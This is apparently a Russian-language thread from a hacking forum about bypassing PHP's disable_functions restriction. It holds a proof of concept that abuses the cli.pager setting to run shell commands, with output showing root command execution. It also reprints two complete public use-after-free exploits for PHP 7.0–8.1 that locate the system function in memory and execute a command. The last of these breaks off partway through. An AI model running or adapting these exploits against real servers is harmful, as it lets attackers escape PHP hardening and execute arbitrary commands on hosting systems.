• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Обход disable_functions в php-cli

pablo

(L2) cache
Пользователь
Регистрация
01.02.2019
Сообщения
433
Реакции
1 524
Обход disable_functions в php-cli


Имеем штатный набор php.ini
Код:
disable_functions=exec,passthru,shell_exec,system,proc_open..i.t.d
который обламывает выполнение команд
system('id');
Код:
PHP Warning:  system() has been disabled for security reasons in /home/root2/backtrick/test.php on line 2
нашел альтернативу здесь:
Код:
/*
   +----------------------------------------------------------------------+
   | PHP Version 7                                                        |
   +----------------------------------------------------------------------+
   | Copyright (c) The PHP Group                                          |
   +----------------------------------------------------------------------+
   | This source file is subject to version 3.01 of the PHP license,      |
   | that is bundled with this package in the file LICENSE, and is        |
   | available through the world-wide-web at the following url:           |
   | http://www.php.net/license/3_01.txt                                  |
   | If you did not receive a copy of the PHP license and are unable to   |
   | obtain it through the world-wide-web, please send a note to          |
   | license@php.net so we can mail you a copy immediately.               |
   +----------------------------------------------------------------------+
   | Author: Marcus Boerger <helly@php.net>                               |
   |         Johannes Schlueter <johannes@php.net>                        |
   +----------------------------------------------------------------------+
*/

#ifdef HAVE_CONFIG_H
#include "config.h"
#endif

#include "php.h"

#ifndef HAVE_RL_COMPLETION_MATCHES
#define rl_completion_matches completion_matches
#endif

#include "php_globals.h"
#include "php_variables.h"
#include "zend_hash.h"
#include "zend_modules.h"

#include "SAPI.h"
#include <locale.h>
#include "zend.h"
#include "zend_extensions.h"
#include "php_ini.h"
#include "php_globals.h"
#include "php_main.h"
#include "fopen_wrappers.h"
#include "ext/standard/php_standard.h"
#include "zend_smart_str.h"

#ifdef __riscos__
#include <unixlib/local.h>
#endif

#if HAVE_LIBEDIT
#include <editline/readline.h>
#else
#include <readline/readline.h>
#include <readline/history.h>
#endif

#include "zend_compile.h"
#include "zend_execute.h"
#include "zend_highlight.h"
#include "zend_exceptions.h"

#include "sapi/cli/cli.h"
#include "readline_cli.h"

#if defined(COMPILE_DL_READLINE) && !defined(PHP_WIN32)
#include <dlfcn.h>
#endif

#ifndef RTLD_DEFAULT
#define RTLD_DEFAULT NULL
#endif

#define DEFAULT_PROMPT "\\b \\> "

ZEND_DECLARE_MODULE_GLOBALS(cli_readline);

static char php_last_char = '\0';
static FILE *pager_pipe = NULL;

static size_t readline_shell_write(const char *str, size_t str_length) /* {{{ */
{
   if (CLIR_G(prompt_str)) {
       smart_str_appendl(CLIR_G(prompt_str), str, str_length);
       return str_length;
   }

   if (CLIR_G(pager) && *CLIR_G(pager) && !pager_pipe) {
       pager_pipe = VCWD_POPEN(CLIR_G(pager), "w");
   }
   if (pager_pipe) {
       return fwrite(str, 1, MIN(str_length, 16384), pager_pipe);
   }

   return -1;
}
/* }}} */

static size_t readline_shell_ub_write(const char *str, size_t str_length) /* {{{ */
{
   /* We just store the last char here and then pass back to the
      caller (sapi_cli_single_write in sapi/cli) which will actually
      write due to -1 return code */
   php_last_char = str[str_length-1];

   return (size_t) -1;
}
/* }}} */

static void cli_readline_init_globals(zend_cli_readline_globals *rg)
{
   rg->pager = NULL;
   rg->prompt = NULL;
   rg->prompt_str = NULL;
}

PHP_INI_BEGIN()
   STD_PHP_INI_ENTRY("cli.pager", "", PHP_INI_ALL, OnUpdateString, pager, zend_cli_readline_globals, cli_readline_globals)
   STD_PHP_INI_ENTRY("cli.prompt", DEFAULT_PROMPT, PHP_INI_ALL, OnUpdateString, prompt, zend_cli_readline_globals, cli_readline_globals)
PHP_INI_END()



typedef enum {
   body,
   sstring,
   dstring,
   sstring_esc,
   dstring_esc,
   comment_line,
   comment_block,
   heredoc_start,
   heredoc,
   outside,
} php_code_type;

static zend_string *cli_get_prompt(char *block, char prompt) /* {{{ */
{
   smart_str retval = {0};
   char *prompt_spec = CLIR_G(prompt) ? CLIR_G(prompt) : DEFAULT_PROMPT;

   do {
       if (*prompt_spec == '\\') {
           switch (prompt_spec[1]) {
           case '\\':
               smart_str_appendc(&retval, '\\');
               prompt_spec++;
               break;
           case 'n':
               smart_str_appendc(&retval, '\n');
               prompt_spec++;
               break;
           case 't':
               smart_str_appendc(&retval, '\t');
               prompt_spec++;
               break;
           case 'e':
               smart_str_appendc(&retval, '\033');
               prompt_spec++;
               break;


           case 'v':
               smart_str_appends(&retval, PHP_VERSION);
               prompt_spec++;
               break;
           case 'b':
               smart_str_appends(&retval, block);
               prompt_spec++;
               break;
           case '>':
               smart_str_appendc(&retval, prompt);
               prompt_spec++;
               break;
           case '`':
               smart_str_appendc(&retval, '`');
               prompt_spec++;
               break;
           default:
               smart_str_appendc(&retval, '\\');
               break;
           }
       } else if (*prompt_spec == '`') {
           char *prompt_end = strstr(prompt_spec + 1, "`");
           char *code;

           if (prompt_end) {
               code = estrndup(prompt_spec + 1, prompt_end - prompt_spec - 1);

               CLIR_G(prompt_str) = &retval;
               zend_try {
                   zend_eval_stringl(code, prompt_end - prompt_spec - 1, NULL, "php prompt code");
               } zend_end_try();
               CLIR_G(prompt_str) = NULL;
               efree(code);
               prompt_spec = prompt_end;
           }
       } else {
           smart_str_appendc(&retval, *prompt_spec);
       }
   } while (++prompt_spec && *prompt_spec);
   smart_str_0(&retval);
   return retval.s;
}
/* }}} */

static int cli_is_valid_code(char *code, size_t len, zend_string **prompt) /* {{{ */
{
   int valid_end = 1, last_valid_end;
   int brackets_count = 0;
   int brace_count = 0;
   size_t i;
   php_code_type code_type = body;
   char *heredoc_tag = NULL;
   size_t heredoc_len;

   for (i = 0; i < len; ++i) {
       switch(code_type) {
           default:
               switch(code[i]) {
                   case '{':
                       brackets_count++;
                       valid_end = 0;
                       break;
                   case '}':
                       if (brackets_count > 0) {
                           brackets_count--;
                       }
                       valid_end = brackets_count ? 0 : 1;
                       break;
                   case '(':
                       brace_count++;
                       valid_end = 0;
                       break;
                   case ')':
                       if (brace_count > 0) {
                           brace_count--;
                       }
                       valid_end = 0;
                       break;
                   case ';':
                       valid_end = brace_count == 0 && brackets_count == 0;
                       break;
                   case ' ':
                   case '\r':
                   case '\n':
                   case '\t':
                       break;
                   case '\'':
                       code_type = sstring;
                       break;
                   case '"':
                       code_type = dstring;
                       break;
                   case '#':
                       code_type = comment_line;
                       break;
                   case '/':
                       if (code[i+1] == '/') {
                           i++;
                           code_type = comment_line;
                           break;
                       }
                       if (code[i+1] == '*') {
                           last_valid_end = valid_end;
                           valid_end = 0;
                           code_type = comment_block;
                           i++;
                           break;
                       }
                       valid_end = 0;
                       break;
                   case '?':
                       if (code[i+1] == '>') {
                           i++;
                           code_type = outside;
                           break;
                       }
                       valid_end = 0;
                       break;
                   case '<':
                       valid_end = 0;
                       if (i + 2 < len && code[i+1] == '<' && code[i+2] == '<') {
                           i += 2;
                           code_type = heredoc_start;
                           heredoc_tag = NULL;
                           heredoc_len = 0;
                       }
                       break;
                   default:
                       valid_end = 0;
                       break;
               }
               break;
           case sstring:
               if (code[i] == '\\') {
                   code_type = sstring_esc;
               } else {
                   if (code[i] == '\'') {
                       code_type = body;
                   }
               }
               break;
           case sstring_esc:
               code_type = sstring;
               break;
           case dstring:
               if (code[i] == '\\') {
                   code_type = dstring_esc;
               } else {
                   if (code[i] == '"') {
                       code_type = body;
                   }
               }
               break;
           case dstring_esc:
               code_type = dstring;
               break;
           case comment_line:
               if (code[i] == '\n') {
                   code_type = body;
               }
               break;
           case comment_block:
               if (code[i-1] == '*' && code[i] == '/') {
                   code_type = body;
                   valid_end = last_valid_end;
               }
               break;
           case heredoc_start:
               switch(code[i]) {
                   case ' ':
                   case '\t':
                   case '\'':
                       break;
                   case '\r':
                   case '\n':
                       if (heredoc_tag) {
                           code_type = heredoc;
                       } else {
                           /* Malformed heredoc without label */
                           code_type = body;
                       }
                       break;
                   default:
                       if (!heredoc_tag) {
                           heredoc_tag = code+i;
                       }
                       heredoc_len++;
                       break;
               }
               break;
           case heredoc:
               ZEND_ASSERT(heredoc_tag);
               if (code[i - (heredoc_len + 1)] == '\n' && !strncmp(code + i - heredoc_len, heredoc_tag, heredoc_len) && code[i] == '\n') {
                   code_type = body;
               } else if (code[i - (heredoc_len + 2)] == '\n' && !strncmp(code + i - heredoc_len - 1, heredoc_tag, heredoc_len) && code[i-1] == ';' && code[i] == '\n') {
                   code_type = body;
                   valid_end = 1;
               }
               break;
           case outside:
               if ((CG(short_tags) && !strncmp(code+i-1, "<?", 2))
               ||  (i > 3 && !strncmp(code+i-4, "<?php", 5))
               ) {
                   code_type = body;
               }
               break;
       }
   }

   switch (code_type) {
       default:
           if (brace_count) {
               *prompt = cli_get_prompt("php", '(');
           } else if (brackets_count) {
               *prompt = cli_get_prompt("php", '{');
           } else {
               *prompt = cli_get_prompt("php", '>');
           }
           break;
       case sstring:
       case sstring_esc:
           *prompt = cli_get_prompt("php", '\'');
           break;
       case dstring:
       case dstring_esc:
           *prompt = cli_get_prompt("php", '"');
           break;
       case comment_block:
           *prompt = cli_get_prompt("/* ", '>');
           break;
       case heredoc:
           *prompt = cli_get_prompt("<<<", '>');
           break;
       case outside:
           *prompt = cli_get_prompt("   ", '>');
           break;
   }

   if (!valid_end || brackets_count) {
       return 0;
   } else {
       return 1;
   }
}
/* }}} */

static char *cli_completion_generator_ht(const char *text, size_t textlen, int *state, HashTable *ht, void **pData) /* {{{ */
{
   zend_string *name;
   zend_ulong number;

   if (!(*state % 2)) {
       zend_hash_internal_pointer_reset(ht);
       (*state)++;
   }
   while(zend_hash_has_more_elements(ht) == SUCCESS) {
       zend_hash_get_current_key(ht, &name, &number);
       if (!textlen || !strncmp(ZSTR_VAL(name), text, textlen)) {
           if (pData) {
               *pData = zend_hash_get_current_data_ptr(ht);
           }
           zend_hash_move_forward(ht);
           return ZSTR_VAL(name);
       }
       if (zend_hash_move_forward(ht) == FAILURE) {
           break;
       }
   }
   (*state)++;
   return NULL;
} /* }}} */

static char *cli_completion_generator_var(const char *text, size_t textlen, int *state) /* {{{ */
{
   char *retval, *tmp;
   zend_array *symbol_table = &EG(symbol_table);

   tmp = retval = cli_completion_generator_ht(text + 1, textlen - 1, state, symbol_table, NULL);
   if (retval) {
       retval = malloc(strlen(tmp) + 2);
       retval[0] = '$';
       strcpy(&retval[1], tmp);
       rl_completion_append_character = '\0';
   }
   return retval;
} /* }}} */

static char *cli_completion_generator_ini(const char *text, size_t textlen, int *state) /* {{{ */
{
   char *retval, *tmp;

   tmp = retval = cli_completion_generator_ht(text + 1, textlen - 1, state, EG(ini_directives), NULL);
   if (retval) {
       retval = malloc(strlen(tmp) + 2);
       retval[0] = '#';
       strcpy(&retval[1], tmp);
       rl_completion_append_character = '=';
   }
   return retval;
} /* }}} */

static char *cli_completion_generator_func(const char *text, size_t textlen, int *state, HashTable *ht) /* {{{ */
{
   zend_function *func;
   char *retval = cli_completion_generator_ht(text, textlen, state, ht, (void**)&func);
   if (retval) {
       rl_completion_append_character = '(';
       retval = strdup(ZSTR_VAL(func->common.function_name));
   }

   return retval;
} /* }}} */

static char *cli_completion_generator_class(const char *text, size_t textlen, int *state) /* {{{ */
{
   zend_class_entry *ce;
   char *retval = cli_completion_generator_ht(text, textlen, state, EG(class_table), (void**)&ce);
   if (retval) {
       rl_completion_append_character = '\0';
       retval = strdup(ZSTR_VAL(ce->name));
   }

   return retval;
} /* }}} */

static char *cli_completion_generator_define(const char *text, size_t textlen, int *state, HashTable *ht) /* {{{ */
{
   zend_class_entry **pce;
   char *retval = cli_completion_generator_ht(text, textlen, state, ht, (void**)&pce);
   if (retval) {
       rl_completion_append_character = '\0';
       retval = strdup(retval);
   }

   return retval;
} /* }}} */

static int cli_completion_state;

static char *cli_completion_generator(const char *text, int index) /* {{{ */
{
/*
TODO:
- constants
- maybe array keys
- language constructs and other things outside a hashtable (echo, try, function, class, ...)
- object/class members

- future: respect scope ("php > function foo() { $[tab]" should only expand to local variables...)
*/
   char *retval = NULL;
   size_t textlen = strlen(text);

   if (!index) {
       cli_completion_state = 0;
   }
   if (text[0] == '$') {
       retval = cli_completion_generator_var(text, textlen, &cli_completion_state);
   } else if (text[0] == '#') {
       retval = cli_completion_generator_ini(text, textlen, &cli_completion_state);
   } else {
       char *lc_text, *class_name_end;
       zend_string *class_name = NULL;
       zend_class_entry *ce = NULL;

       class_name_end = strstr(text, "::");
       if (class_name_end) {
           size_t class_name_len = class_name_end - text;
           class_name = zend_string_alloc(class_name_len, 0);
           zend_str_tolower_copy(ZSTR_VAL(class_name), text, class_name_len);
           if ((ce = zend_lookup_class(class_name)) == NULL) {
               zend_string_release_ex(class_name, 0);
               return NULL;
           }
           lc_text = zend_str_tolower_dup(class_name_end + 2, textlen - 2 - class_name_len);
           textlen -= (class_name_len + 2);
       } else {
           lc_text = zend_str_tolower_dup(text, textlen);
       }

       switch (cli_completion_state) {
           case 0:
           case 1:
               retval = cli_completion_generator_func(lc_text, textlen, &cli_completion_state, ce ? &ce->function_table : EG(function_table));
               if (retval) {
                   break;
               }
           case 2:
           case 3:
               retval = cli_completion_generator_define(text, textlen, &cli_completion_state, ce ? &ce->constants_table : EG(zend_constants));
               if (retval || ce) {
                   break;
               }
           case 4:
           case 5:
               retval = cli_completion_generator_class(lc_text, textlen, &cli_completion_state);
               break;
           default:
               break;
       }
       efree(lc_text);
       if (class_name) {
           zend_string_release_ex(class_name, 0);
       }
       if (ce && retval) {
           size_t len = ZSTR_LEN(ce->name) + 2 + strlen(retval) + 1;
           char *tmp = malloc(len);

           snprintf(tmp, len, "%s::%s", ZSTR_VAL(ce->name), retval);
           free(retval);
           retval = tmp;
       }
   }

   return retval;
} /* }}} */

static char **cli_code_completion(const char *text, int start, int end) /* {{{ */
{
   return rl_completion_matches(text, cli_completion_generator);
}
/* }}} */

static int readline_shell_run(void) /* {{{ */
{
   char *line;
   size_t size = 4096, pos = 0, len;
   char *code = emalloc(size);
   zend_string *prompt = cli_get_prompt("php", '>');
   char *history_file;
   int history_lines_to_write = 0;

   if (PG(auto_prepend_file) && PG(auto_prepend_file)[0]) {
       zend_file_handle *prepend_file_p;
       zend_file_handle prepend_file;

       memset(&prepend_file, 0, sizeof(prepend_file));
       prepend_file.filename = PG(auto_prepend_file);
       prepend_file.opened_path = NULL;
       prepend_file.free_filename = 0;
       prepend_file.type = ZEND_HANDLE_FILENAME;
       prepend_file_p = &prepend_file;

       zend_execute_scripts(ZEND_REQUIRE, NULL, 1, prepend_file_p);
   }

#ifndef PHP_WIN32
   history_file = tilde_expand("~/.php_history");
#else
   spprintf(&history_file, MAX_PATH, "%s/.php_history", getenv("USERPROFILE"));
#endif
   rl_attempted_completion_function = cli_code_completion;
#ifndef PHP_WIN32
   rl_special_prefixes = "$";
#endif
   read_history(history_file);

   EG(exit_status) = 0;
   while ((line = readline(ZSTR_VAL(prompt))) != NULL) {
       if (strcmp(line, "exit") == 0 || strcmp(line, "quit") == 0) {
           free(line);
           break;
       }

       if (!pos && !*line) {
           free(line);
           continue;
       }

       len = strlen(line);

       if (line[0] == '#') {
           char *param = strstr(&line[1], "=");
           if (param) {
               zend_string *cmd;
               param++;
               cmd = zend_string_init(&line[1], param - &line[1] - 1, 0);

               zend_alter_ini_entry_chars_ex(cmd, param, strlen(param), PHP_INI_USER, PHP_INI_STAGE_RUNTIME, 0);
               zend_string_release_ex(cmd, 0);
               add_history(line);

               zend_string_release_ex(prompt, 0);
               /* TODO: This might be wrong! */
               prompt = cli_get_prompt("php", '>');
               continue;
           }
       }

       if (pos + len + 2 > size) {
           size = pos + len + 2;
           code = erealloc(code, size);
       }
       memcpy(&code[pos], line, len);
       pos += len;
       code[pos] = '\n';
       code[++pos] = '\0';

       if (*line) {
           add_history(line);
           history_lines_to_write += 1;
       }

       free(line);
       zend_string_release_ex(prompt, 0);

       if (!cli_is_valid_code(code, pos, &prompt)) {
           continue;
       }

       if (history_lines_to_write) {
#if HAVE_LIBEDIT
           write_history(history_file);
#else
           append_history(history_lines_to_write, history_file);
#endif
           history_lines_to_write = 0;
       }

       zend_try {
           zend_eval_stringl(code, pos, NULL, "php shell code");
       } zend_end_try();

       pos = 0;

       if (!pager_pipe && php_last_char != '\0' && php_last_char != '\n') {
           php_write("\n", 1);
       }

       if (EG(exception)) {
           zend_exception_error(EG(exception), E_WARNING);
       }

       if (pager_pipe) {
           fclose(pager_pipe);
           pager_pipe = NULL;
       }

       php_last_char = '\0';
   }
#ifdef PHP_WIN32
   efree(history_file);
#else
   free(history_file);
#endif
   efree(code);
   zend_string_release_ex(prompt, 0);
   return EG(exit_status);
}
/* }}} */

#ifdef PHP_WIN32
typedef cli_shell_callbacks_t *(__cdecl *get_cli_shell_callbacks)(void);
#define GET_SHELL_CB(cb) \
   do { \
       get_cli_shell_callbacks get_callbacks; \
       HMODULE hMod = GetModuleHandle("php.exe"); \
       (cb) = NULL; \
       if (strlen(sapi_module.name) >= 3 && 0 == strncmp("cli", sapi_module.name, 3)) { \
           get_callbacks = (get_cli_shell_callbacks)GetProcAddress(hMod, "php_cli_get_shell_callbacks"); \
           if (get_callbacks) { \
               (cb) = get_callbacks(); \
           } \
       } \
   } while(0)

#else
/*
#ifdef COMPILE_DL_READLINE
This dlsym() is always used as even the CGI SAPI is linked against "CLI"-only
extensions. If that is being changed dlsym() should only be used when building
this extension sharedto offer compatibility.
*/
#define GET_SHELL_CB(cb) \
   do { \
       (cb) = NULL; \
       cli_shell_callbacks_t *(*get_callbacks)(); \
       get_callbacks = dlsym(RTLD_DEFAULT, "php_cli_get_shell_callbacks"); \
       if (get_callbacks) { \
           (cb) = get_callbacks(); \
       } \
   } while(0)
/*#else
#define GET_SHELL_CB(cb) (cb) = php_cli_get_shell_callbacks()
#endif*/
#endif

PHP_MINIT_FUNCTION(cli_readline)
{
   cli_shell_callbacks_t *cb;

   ZEND_INIT_MODULE_GLOBALS(cli_readline, cli_readline_init_globals, NULL);
   REGISTER_INI_ENTRIES();

#if HAVE_LIBEDIT
   REGISTER_STRING_CONSTANT("READLINE_LIB", "libedit", CONST_CS|CONST_PERSISTENT);
#else
   REGISTER_STRING_CONSTANT("READLINE_LIB", "readline", CONST_CS|CONST_PERSISTENT);
#endif

   GET_SHELL_CB(cb);
   if (cb) {
       cb->cli_shell_write = readline_shell_write;
       cb->cli_shell_ub_write = readline_shell_ub_write;
       cb->cli_shell_run = readline_shell_run;
   }

   return SUCCESS;
}

PHP_MSHUTDOWN_FUNCTION(cli_readline)
{
   cli_shell_callbacks_t *cb;

   UNREGISTER_INI_ENTRIES();

   GET_SHELL_CB(cb);
   if (cb) {
       cb->cli_shell_write = NULL;
       cb->cli_shell_ub_write = NULL;
       cb->cli_shell_run = NULL;
   }

   return SUCCESS;
}

PHP_MINFO_FUNCTION(cli_readline)
{
   php_info_print_table_start();
   php_info_print_table_header(2, "Readline Support", "enabled");
#ifdef PHP_WIN32
   php_info_print_table_row(2, "Readline library", "WinEditLine");
#else
   php_info_print_table_row(2, "Readline library", (rl_library_version ? rl_library_version : "Unknown"));
#endif
   php_info_print_table_end();

   DISPLAY_INI_ENTRIES();
}
нас интересует
Код:
static size_t readline_shell_write(const char *str, size_t str_length) /* {{{ */
{
   if (CLIR_G(prompt_str)) {
       smart_str_appendl(CLIR_G(prompt_str), str, str_length);
       return str_length;
   }

   if (CLIR_G(pager) && *CLIR_G(pager) && !pager_pipe) {
       pager_pipe = VCWD_POPEN(CLIR_G(pager), "w");
   }
   if (pager_pipe) {
       return fwrite(str, 1, MIN(str_length, 16384), pager_pipe);
   }

   return -1;
}
Код:
STD_PHP_INI_ENTRY("cli.pager", "", PHP_INI_ALL, OnUpdateString, pager, zend_cli_readline_globals, cli_readline_globals)
cli.pager - одна из дирректив readline

poc:
Код:
<?php
echo "system:".system('id');
ini_set('cli.pager','id;pwd');
print_r(readline_info());
проверяем:
Код:
php -d disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source test.php
=>
Код:
PHP Warning:  system() has been disabled for security reasons in /home/root2/backtrick/test.php on line 2
system:Array
(
   [line_buffer] =>
   [point] => 0
   [end] => 0
   [library_version] => EditLine wrapper
   [readline_name] =>
   [attempted_completion_over] => 0
)
uid=0(root) gid=0(root) groups=0(root)
/home/root2/backtrick
php >=5.4.0



Автор: l1ght
 
PHP 7.0-8.0 disable_functions bypass [user_filter]

https://github.com/mm0r1/exploits/tree/master/php-filter-bypass

PHP 7.0-8.0 disable_functions bypass [user_filter]
This exploit uses a bug reported over 10 years ago. As usual, the PoC was tested on various php builds for Debian/Ubuntu/CentOS/FreeBSD with cli/fpm/apache2 server APIs and found to work reliably.

Targets
  • 5.* - exploitable with minor changes to the PoC
  • 7.0 - all versions to date
  • 7.1 - all versions to date
  • 7.2 - all versions to date
  • 7.3 - all versions to date
  • 7.4 - all versions to date
  • 8.0 - all versions to date
Fix
Stop relying on disable_functions (or any other php.ini settings) for security.

Post scriptum
There are many memory corruption vulnerabilities in PHP - some of them are publicly known, others are not. Regardless, PHP devs don't care much about these, as you can see in the bug reports.

This PoC is for demonstration purposes only. The exploits that could've been developed/used during the past decade might be not.

PHP:
<?php
# PHP 7.0-8.0 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=54350
#
# This exploit should work on all PHP 7.0-8.0 versions
# released as of 2021-10-06
#
# Author: https://github.com/mm0r1

pwn('uname -a');

function pwn($cmd) {
   define('LOGGING', false);
   define('CHUNK_DATA_SIZE', 0x60);
   define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
   define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
   define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
   define('CMD', $cmd);
   for($i = 0; $i < 10; $i++) {
       $groom[] = Pwn::alloc(STRING_SIZE);
   }
   stream_filter_register('pwn_filter', 'Pwn');
   $fd = fopen('php://memory', 'w');
   stream_filter_append($fd,'pwn_filter');
   fwrite($fd, 'x');
}

class Helper { public $a, $b, $c; }
class Pwn extends php_user_filter {
   private $abc, $abc_addr;
   private $helper, $helper_addr, $helper_off;
   private $uafp, $hfp;

   public function filter($in, $out, &$consumed, $closing) {
       if($closing) return;
       stream_bucket_make_writeable($in);
       $this->filtername = Pwn::alloc(STRING_SIZE);
       fclose($this->stream);
       $this->go();
       return PSFS_PASS_ON;
   }

   private function go() {
       $this->abc = &$this->filtername;

       $this->make_uaf_obj();

       $this->helper = new Helper;
       $this->helper->b = function($x) {};

       $this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
       $this->log("helper @ 0x%x", $this->helper_addr);

       $this->abc_addr = $this->helper_addr - CHUNK_SIZE;
       $this->log("abc @ 0x%x", $this->abc_addr);

       $this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;

       $helper_handlers = $this->str2ptr(CHUNK_SIZE);
       $this->log("helper handlers @ 0x%x", $helper_handlers);

       $this->prepare_leaker();

       $binary_leak = $this->read($helper_handlers + 8);
       $this->log("binary leak @ 0x%x", $binary_leak);
       $this->prepare_cleanup($binary_leak);

       $closure_addr = $this->str2ptr($this->helper_off + 0x38);
       $this->log("real closure @ 0x%x", $closure_addr);

       $closure_ce = $this->read($closure_addr + 0x10);
       $this->log("closure class_entry @ 0x%x", $closure_ce);

       $basic_funcs = $this->get_basic_funcs($closure_ce);
       $this->log("basic_functions @ 0x%x", $basic_funcs);

       $zif_system = $this->get_system($basic_funcs);
       $this->log("zif_system @ 0x%x", $zif_system);

       $fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
       for($i = 0; $i < 0x138; $i += 8) {
           $this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
       }
       $this->write($fake_closure_off + 0x38, 1, 4);

       $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
       $this->write($fake_closure_off + $handler_offset, $zif_system);

       $fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
       $this->write($this->helper_off + 0x38, $fake_closure_addr);
       $this->log("fake closure @ 0x%x", $fake_closure_addr);

       $this->cleanup();
       ($this->helper->b)(CMD);
   }

   private function make_uaf_obj() {
       $this->uafp = fopen('php://memory', 'w');
       fwrite($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
       for($i = 0; $i < STRING_SIZE; $i++) {
           fwrite($this->uafp, "\x00");
       }
   }

   private function prepare_leaker() {
       $str_off = $this->helper_off + CHUNK_SIZE + 8;
       $this->write($str_off, 2);
       $this->write($str_off + 0x10, 6);

       $val_off = $this->helper_off + 0x48;
       $this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
       $this->write($val_off + 8, 0xA);
   }

   private function prepare_cleanup($binary_leak) {
       $ret_gadget = $binary_leak;
       do {
           --$ret_gadget;
       } while($this->read($ret_gadget, 1) !== 0xC3);
       $this->log("ret gadget = 0x%x", $ret_gadget);
       $this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
       $this->write(8, $ret_gadget);
   }

   private function read($addr, $n = 8) {
       $this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
       $value = strlen($this->helper->c);
       if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
       return $value;
   }

   private function write($p, $v, $n = 8) {
       for($i = 0; $i < $n; $i++) {
           $this->abc[$p + $i] = chr($v & 0xff);
           $v >>= 8;
       }
   }

   private function get_basic_funcs($addr) {
       while(true) {
           $addr -= 0x10;
           if($this->read($addr, 4) === 0xA8 &&
               in_array($this->read($addr + 4, 4),
                   [20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
               $module_name_addr = $this->read($addr + 0x20);
               $module_name = $this->read($module_name_addr);
               if($module_name === 0x647261646e617473) {
                   $this->log("standard module @ 0x%x", $addr);
                   return $this->read($addr + 0x28);
               }
           }
       }
   }

   private function get_system($basic_funcs) {
       $addr = $basic_funcs;
       do {
           $f_entry = $this->read($addr);
           $f_name = $this->read($f_entry, 6);
           if($f_name === 0x6d6574737973) {
               return $this->read($addr + 8);
           }
           $addr += 0x20;
       } while($f_entry !== 0);
   }

   private function cleanup() {
       $this->hfp = fopen('php://memory', 'w');
       fwrite($this->hfp, pack('QQ', 0, $this->abc_addr));
       for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
           fwrite($this->hfp, "\x00");
       }
   }

   private function str2ptr($p = 0, $n = 8) {
       $address = 0;
       for($j = $n - 1; $j >= 0; $j--) {
           $address <<= 8;
           $address |= ord($this->abc[$p + $j]);
       }
       return $address;
   }

   private function ptr2str($ptr, $n = 8) {
       $out = '';
       for ($i = 0; $i < $n; $i++) {
           $out .= chr($ptr & 0xff);
           $ptr >>= 8;
       }
       return $out;
   }

   private function log($format, $val = '') {
       if(LOGGING) {
           printf("{$format}\n", $val);
       }
   }

   static function alloc($size) {
       return str_shuffle(str_repeat('A', $size));
   }
}
?>
 
PHP 7.3-8.1 disable_functions bypass [concat_function]
Код:
<?php

# PHP 7.3-8.1 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=81705
#
# This exploit should work on all PHP 7.3-8.1 versions
# released as of 2022-01-07
#
# Author: https://github.com/mm0r1

new Pwn("uname -a");

class Helper { public $a, $b, $c; }
class Pwn {
    const LOGGING = false;
    const CHUNK_DATA_SIZE = 0x60;
    const CHUNK_SIZE = ZEND_DEBUG_BUILD ? self::CHUNK_DATA_SIZE + 0x20 : self::CHUNK_DATA_SIZE;
    const STRING_SIZE = self::CHUNK_DATA_SIZE - 0x18 - 1;

    const HT_SIZE = 0x118;
    const HT_STRING_SIZE = self::HT_SIZE - 0x18 - 1;

    public function __construct($cmd) {
        for($i = 0; $i < 10; $i++) {
            $groom[] = self::alloc(self::STRING_SIZE);
            $groom[] = self::alloc(self::HT_STRING_SIZE);
        }
        
        $concat_str_addr = self::str2ptr($this->heap_leak(), 16);
        $fill = self::alloc(self::STRING_SIZE);

        $this->abc = self::alloc(self::STRING_SIZE);
        $abc_addr = $concat_str_addr + self::CHUNK_SIZE;
        self::log("abc @ 0x%x", $abc_addr);

        $this->free($abc_addr);
        $this->helper = new Helper;
        if(strlen($this->abc) < 0x1337) {
            self::log("uaf failed");
            return;
        }

        $this->helper->a = "leet";
        $this->helper->b = function($x) {};
        $this->helper->c = 0xfeedface;

        $helper_handlers = $this->rel_read(0);
        self::log("helper handlers @ 0x%x", $helper_handlers);

        $closure_addr = $this->rel_read(0x20);
        self::log("real closure @ 0x%x", $closure_addr);

        $closure_ce = $this->read($closure_addr + 0x10);
        self::log("closure class_entry @ 0x%x", $closure_ce);
        
        $basic_funcs = $this->get_basic_funcs($closure_ce);
        self::log("basic_functions @ 0x%x", $basic_funcs);

        $zif_system = $this->get_system($basic_funcs);
        self::log("zif_system @ 0x%x", $zif_system);

        $fake_closure_off = 0x70;
        for($i = 0; $i < 0x138; $i += 8) {
            $this->rel_write($fake_closure_off + $i, $this->read($closure_addr + $i));
        }
        $this->rel_write($fake_closure_off + 0x38, 1, 4);
        $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
        $this->rel_write($fake_closure_off + $handler_offset, $zif_system);

        $fake_closure_addr = $abc_addr + $fake_closure_off + 0x18;
        self::log("fake closure @ 0x%x", $fake_closure_addr);

        $this->rel_write(0x20, $fake_closure_addr);
        ($this->helper->b)($cmd);

        $this->rel_write(0x20, $closure_addr);
        unset($this->helper->b);
    }

    private function heap_leak() {
        $arr = [[], []];
        set_error_handler(function() use (&$arr, &$buf) {
            $arr = 1;
            $buf = str_repeat("\x00", self::HT_STRING_SIZE);
        });
        $arr[1] .= self::alloc(self::STRING_SIZE - strlen("Array"));
        return $buf;
    }

    private function free($addr) {
